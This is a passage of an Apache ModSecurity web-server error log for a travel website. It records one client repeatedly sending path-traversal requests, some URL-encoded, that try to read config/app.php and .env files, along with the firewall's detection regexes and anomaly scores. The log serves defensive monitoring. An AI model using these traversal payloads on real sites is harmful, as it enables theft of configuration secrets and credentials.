/?language=..%2F..%2Fconfig%2Fapp.php&extra=9Jya74QFxzpKdZ2M1jLJUThwi1J2xX15pwrwlUBB41ObLIlzIcjhc6CGIEgEk4U-nL8ToETOKViZFKarCJCFNaEFu7OBjcPm4Q76ego4P_Lb7JxjByj0LL_mIid7PkL6UF6vbhseEpo6cMW0MsrY7O1Qphlw3-2DjOPlqgSbTk0ufAixpNLx6KBABXyFa1Z2mn_TznCXStRxEWaa1LvJBVYutODEy9zzTW3Fl8yj-oOc5F8tX-TN4oyM_62JBIzG8otv9wYthZwTuB4w92QCDbRU&token=REQT5ZYFKWMDPFPPDASP4ZYUPFN5H3A52FEBMU4GU4YQZI547RICKAO4R6UNAUCS6WL5V7QPPQB3H352MYARQZS7MM6SIRUWBPPC6YVTTM2JEFZSDY235XGKB4TN4..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlMgAAAA0"]
[Fri Jul 17 08:55:07.885056 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:language: ../../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlMgAAAA0"]
[Fri Jul 17 08:55:07.885179 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?language=../../config/app.php&extra=9Jya74QFxzpKdZ2M1jLJUThwi1J2xX15pwrwlUBB41ObLIlzIcjhc6CGIEgEk4U-nL8ToETOKViZFKarCJCFNaEFu7OBjcPm4Q76ego4P_Lb7JxjByj0LL_mIid7PkL6UF6vbhseEpo6cMW0MsrY7O1Qphlw3-2DjOPlqgSbTk0ufAixpNLx6KBABXyFa1Z2mn_TznCXStRxEWaa1LvJBVYutODEy9zzTW3Fl8yj-oOc5F8tX-TN4oyM_62JBIzG8otv9wYthZwTuB4w92QCDbRU&token=REQT5ZYFKWMDPFPPDASP4ZYUPFN5H3A52FEBMU4GU4YQZI547RICKAO4R6UNAUCS6WL5V7QPPQB3H352MYARQZS7MM6SIRUWBPPC6YVTTM2JEFZSDY235XGKB4TN4ONOOHVA4QIATRX..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlMgAAAA0"]
[Fri Jul 17 08:55:07.885234 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?language=../../config/app.php&extra=9jya74qfxzpkdz2m1jljuthwi1j2xx15pwrwlubb41oblilzicjhc6cgiegek4u-nl8toetokvizfkarcjcfnaefu7objcpm4q76ego4p_lb7jxjbyj0ll_miid7pkl6uf6vbhseepo6cmw0msry7o1qphlw3-2djoplqgsbtk0ufaixpnlx6kbabxyfa1z2mn_tzncxstrxewaa1lvjbvyutodey9zztw3fl8yj-ooc5f8tx-tn4oym_62jbizg8otv9wythzwtub4w92qcdbru&token=reqt5zyfkwmdpfppdasp4zyupfn5h3a52febmu4gu4yqzi547rickao4r6unaucs6wl5v7qppqb3h352myarqzs7mm6siruwbppc6yvttm2jefzsdy235xgkb4tn4onoohva4qiatrx..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlMgAAAA0"]
[Fri Jul 17 08:55:07.885271 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:language: ../../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlMgAAAA0"]
[Fri Jul 17 08:55:07.885306 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:language: ../../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlMgAAAA0"]
[Fri Jul 17 08:55:07.885419 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:language: ../../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlMgAAAA0"]
[Fri Jul 17 08:55:07.887219 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlMgAAAA0"]
[Fri Jul 17 08:55:07.887443 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.887919 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=35,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkyvekYYQ8uns4MwlMgAAAA0"]
[Fri Jul 17 08:55:07.907085 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:language: ../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6hQAAABE"]
[Fri Jul 17 08:55:07.907136 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:language: ../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6hQAAABE"]
[Fri Jul 17 08:55:07.907219 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:language: ../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6hQAAABE"]
[Fri Jul 17 08:55:07.908377 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6hQAAABE"]
[Fri Jul 17 08:55:07.908530 2026] [hostinglimits:warn] [pid 2030804:tid 2030804] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030804) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.908847 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk4e39YUk0SgV8AU6hQAAABE"]
[Fri Jul 17 08:55:07.913894 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?language=..%2F..%2F.env&cb=uh77H3FYSWWbTmzE9qxeeh73fXFshvX_WZEzSItrDjh66ovKLocZ1U7y8Fuu6jREw-iyzgoVawcajuHWmL-K-sPkarWZ3jpIou-mMh1Dz8jAeIEPgl0m3eUY-b4V5O4-RdzVvBX1Vd3gZ-996u6F_UtUD_tmLrsYUGjjHIB813bBb9Y0a0U4h_coHYadHrrH1Q6RWdV3ryARbKacbiUq7z4DOXQqwkvfddxzdxdN6q5lznhrpMh6lLSJ4fzoOvPzKTUHSxniiXp8Oj4MF2217WAq&debug=6ZKQEP5OX6LAXKB7DHTRCAZEH454PUV2CIL5A4WNZWXGCCURB2E4RB2MDUME6PM2GSSSX2Z7NLFKDG5PJPWR2AXCTVF46MO6JT4ANCCD35TWJ4Z5TQL46QNGUTVIKWFFCUOIRZEZUJIV..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUbQAAABI"]
[Fri Jul 17 08:55:07.913946 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:language: ../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUbQAAABI"]
[Fri Jul 17 08:55:07.914006 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?language=../../.env&cb=uh77H3FYSWWbTmzE9qxeeh73fXFshvX_WZEzSItrDjh66ovKLocZ1U7y8Fuu6jREw-iyzgoVawcajuHWmL-K-sPkarWZ3jpIou-mMh1Dz8jAeIEPgl0m3eUY-b4V5O4-RdzVvBX1Vd3gZ-996u6F_UtUD_tmLrsYUGjjHIB813bBb9Y0a0U4h_coHYadHrrH1Q6RWdV3ryARbKacbiUq7z4DOXQqwkvfddxzdxdN6q5lznhrpMh6lLSJ4fzoOvPzKTUHSxniiXp8Oj4MF2217WAq&debug=6ZKQEP5OX6LAXKB7DHTRCAZEH454PUV2CIL5A4WNZWXGCCURB2E4RB2MDUME6PM2GSSSX2Z7NLFKDG5PJPWR2AXCTVF46MO6JT4ANCCD35TWJ4Z5TQL46QNGUTVIKWFFCUOIRZEZUJIVQS2BUZ6ZL5UF..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUbQAAABI"]
[Fri Jul 17 08:55:07.914033 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?language=../../.env&cb=uh77h3fyswwbtmze9qxeeh73fxfshvx_wzezsitrdjh66ovklocz1u7y8fuu6jrew-iyzgovawcajuhwml-k-spkarwz3jpiou-mmh1dz8jaeiepgl0m3euy-b4v5o4-rdzvvbx1vd3gz-996u6f_utud_tmlrsyugjjhib813bbb9y0a0u4h_cohyadhrrh1q6rwdv3ryarbkacbiuq7z4doxqqwkvfddxzdxdn6q5lznhrpmh6llsj4fzoovpzktuhsxniixp8oj4mf2217waq&debug=6zkqep5ox6laxkb7dhtrcazeh454puv2cil5a4wnzwxgccurb2e4rb2mdume6pm2gsssx2z7nlfkdg5pjpwr2axctvf46mo6jt4anccd35twj4z5tql46qngutvikwffcuoirzezujivqs2buz6zl5uf..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUbQAAABI"]
[Fri Jul 17 08:55:07.914065 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:language: ../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUbQAAABI"]
[Fri Jul 17 08:55:07.914083 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:language: ../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUbQAAABI"]
[Fri Jul 17 08:55:07.915299 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUbQAAABI"]
[Fri Jul 17 08:55:07.915450 2026] [hostinglimits:warn] [pid 2029866:tid 2029866] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029866) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.915774 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk11_86A5R6msWNfUbQAAABI"]
[Fri Jul 17 08:55:07.921775 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?language=..%2F..%2F..%2F..%2F.env&ref=cTNF0fk5j2vUtlpr7AW6ZwNxtovK0i61zZ_C0GlXZJtHsptIKRhku52oiLcorhiuvRONOi82ktaj2nP9IQI3YlSywtUPL84W5VJIORe4UPm9TVke24SHJnGeFCC72TBFJ8KW1qOYijn_9P23YeJag_m2sp28DpPTYrByijCpRF56o3BVS4W7XzhFlY2IW992fr0SoTkaZtZNmVOdvIOnzMbf5yPtNOvdH8fHoR75HMPSYsWCYcAE1aHnJ-DpPrquxLCahx__3wueelCodq4EorOx&cb=XJOEP7HMKHDK6WEXQ7QCW4RONU4ZRVNCRDFLXCM3WUDWH2CJ7OPMMANSMVTJO4XTY6CPE5NKQRGLDEWIUZ5FHN7IVM5B2I72CTN34IACJKWYM2PMPFBFNMPJGKYNLA3YLIAL..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkw7FYe46zHK_jL3PiwAAABk"]
[Fri Jul 17 08:55:07.921836 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:language: ../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkw7FYe46zHK_jL3PiwAAABk"]
[Fri Jul 17 08:55:07.921884 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?language=../../../../.env&ref=cTNF0fk5j2vUtlpr7AW6ZwNxtovK0i61zZ_C0GlXZJtHsptIKRhku52oiLcorhiuvRONOi82ktaj2nP9IQI3YlSywtUPL84W5VJIORe4UPm9TVke24SHJnGeFCC72TBFJ8KW1qOYijn_9P23YeJag_m2sp28DpPTYrByijCpRF56o3BVS4W7XzhFlY2IW992fr0SoTkaZtZNmVOdvIOnzMbf5yPtNOvdH8fHoR75HMPSYsWCYcAE1aHnJ-DpPrquxLCahx__3wueelCodq4EorOx&cb=XJOEP7HMKHDK6WEXQ7QCW4RONU4ZRVNCRDFLXCM3WUDWH2CJ7OPMMANSMVTJO4XTY6CPE5NKQRGLDEWIUZ5FHN7IVM5B2I72CTN34IACJKWYM2PMPFBFNMPJGKYNLA3YLIALJO7WSKR2327I3TBQ..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkw7FYe46zHK_jL3PiwAAABk"]
[Fri Jul 17 08:55:07.921939 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: 